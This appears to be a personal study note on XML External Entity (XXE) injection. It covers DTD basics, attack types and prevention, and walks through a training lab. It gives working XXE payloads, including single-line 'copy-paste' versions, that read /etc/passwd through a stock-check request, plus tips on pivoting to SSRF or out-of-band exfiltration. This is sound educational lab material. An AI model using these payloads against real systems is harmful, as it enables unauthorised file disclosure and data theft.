What is XML and XXE and how does it work?
What is XML and XXE and how does it work?: XXE:r - XML External Entity Injection What is XML External Entity Injection? XML External Entity Injection (XXE) is a vulnerability that lets an attacker influence how an application parses XML. Typical impacts include: • Knowledge • XML external entity (XXE) injection, XXE • xml, xxe
XXE:r - XML External Entity Injection
What is XML External Entity Injection?
XML External Entity Injection (XXE) is a vulnerability that lets an attacker influence how an application parses XML. Typical impacts include:
- Reading files from the application server
- Performing SSRF (Server-Side Request Forgery)
- Exfiltrating sensitive data
- Potential escalation to compromise the server or backends
OWASP definition
An XML External Entity attack is a type of attack against an application that parses XML input.
This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.
Why does XXE arise?
XXE shows up when dangerous XML features (like external entities) meet insecure parser settings.
- Apps send XML between browser and server
- Most rely on standard XML libraries
- If those libraries keep external entities enabled, attackers can abuse them
Types of XXE Attacks
- Retrieve files: Define an external entity that references a local file
- SSRF (Server-Side Request Forgery): Define an entity pointing to an internal URL
- Blind XXE (out-of-band exfiltration): Send data from the server to an attacker-controlled system
- Blind XXE via error messages: Coerce parser errors that reveal sensitive information
What is a DTD?
DTD = Document Type Definition — it defines the structure and valid elements/attributes of an XML document.
XML referencing a DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "Note.dtd">
<note>
<to>XsiSec</to>
<from>Admin</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>Inline DTD example
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>!DOCTYPE note→ root element is<note>!ELEMENT note→ must contain<to>, <from>, <heading>, <body>!ELEMENT to/from/heading/body→ must contain text (#PCDATA)
Lab Walkthrough: XXE to Retrieve /etc/passwd
This lab provides a Check stock feature that parses XML input. Unexpected values are reflected in the server response.
Original (benign) request
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>2</productId>
<storeId>1</storeId>
</stockCheck>Exploit payload
Inject a malicious DTD that defines an external entity for /etc/passwd, then reference it where the app reflects data (e.g., productId).
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>✅ The response includes the contents of /etc/passwd, confirming the issue.
🧪 Troubleshooting
- Parser errors: Keep the XML well‑formed; only one
DOCTYPE - No reflection: Place
&xxe;in the element that the server echoes back (oftenproductId) - Blocked
file://: Pivot to SSRF (e.g., internal HTTP endpoints) or OOB exfiltration via external/parameter entities
🔒 How to prevent XXE (notes)
- Disable DTDs and external entities in XML parsers (enable secure processing)
- Use allowlists + strict XML schemas
- Prefer JSON or hardened XML bindings by default
- Deny egress to sensitive addresses (e.g.,
169.254.169.254) from app tiers
Copy‑paste payloads
File read via external entity
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>Minimal version (single line)
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>These are my notes and the exact payloads I used to solve the
/etc/passwdreflection lab.